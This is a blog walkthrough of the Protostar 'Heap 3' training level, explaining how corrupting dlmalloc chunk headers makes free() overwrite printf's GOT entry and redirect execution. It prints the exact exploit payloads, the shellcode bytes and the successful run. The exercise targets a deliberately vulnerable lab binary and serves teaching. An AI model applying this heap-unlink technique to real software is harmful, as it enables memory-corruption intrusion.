Monday, December 29, 2014

Protostar - Heap #3


This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution. (link)

Source Code:


Here, we're given the ability to write arbitrary data to each of the malloc'd sections of the heap. Given that they will likely be placed adjacent to each other, we should be able to use one of the char*'s strcpy() calls to overwrite some of the other char*'s data as well has its dlmalloc header.

Let's first get some of the address of our target function, winner:
user@protostar:/opt/protostar/bin$ objdump -t ./heap3 | grep "winner"
08048864 g     F .text    00000025              winner

Let's also get the entry in the Global Offset Table (GOT) for printf:
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep "printf"
0804b11c R_386_JUMP_SLOT   printf

Now let's understand how malloc keeps track of free and unfree segments of the heap and how we can use its functionality to get an arbitrary write.

(Here's a good resource on how dlmalloc works:

At line 22, our heap should look something like this:

[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]

If we can trick dlmalloc into thinking that [b] is not in use, it should trigger a call to coalesce [b] and [c], rewriting the header data for the now-combined block. If the values dlmalloc uses to determine where and what it should write are under our control, we will have gained an arbitrary write to an address of our choosing.

How can we do this with our current heap setup?
Call it with this:

$(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"')
$(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"')
$(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')

Let's walk through the code to see how it works.

The heaps starts out looking like this:
[a's header] [a's data] [b's header] [b's data] [c's header] [c's data]

after the strcpy(a, argv[1]) call:
[a's header] [aaaaSHELLCODE] [b's header] [b's data] [c's header] [c's data]
(The leading "aaaa" is necessary because it will get overwritten later. SHELLCODE is "push 0x08048864; ret")

after the strcpy(b, argv[2]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [c's data]

(c's header has been overwritten with a pointer to a fake chunk header within c's data)

after the strcpy(c, argv[3]) call:
[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]
(the bk pointer -- 0x0804c00c -- is a pointer to SHELLCODE, from before.)

Let's see how this originally aligns with our original pointers:
  a's header is here
  b's header is here
  c's header is here

[a's header] [aaaaSHELLCODE] [b's header] [aaaaaaa...] [\xff\xff\xff\xf0\xff\xff\xff\xfc] [aaaaaaaa] [fake chunk header with fw=0x0804b11c, bk=0x0804c00c]

When we hit the free(c) call, it sees that the next chunk is not in use and the header's located here.

The coalescing functionality overwrites printf entry in the GOT to be our shellcode in the first segment.

The final output looks something like this:

user@protostar:/opt/protostar/bin$ ./heap3 $(python -c 'print "a"*4 + "\x68\x64\x88\x04\x08" + "\xc3"') $(python -c 'print "a"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "a"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"')
that wasn't too bad now, was it? @ 1417025233

1 comment: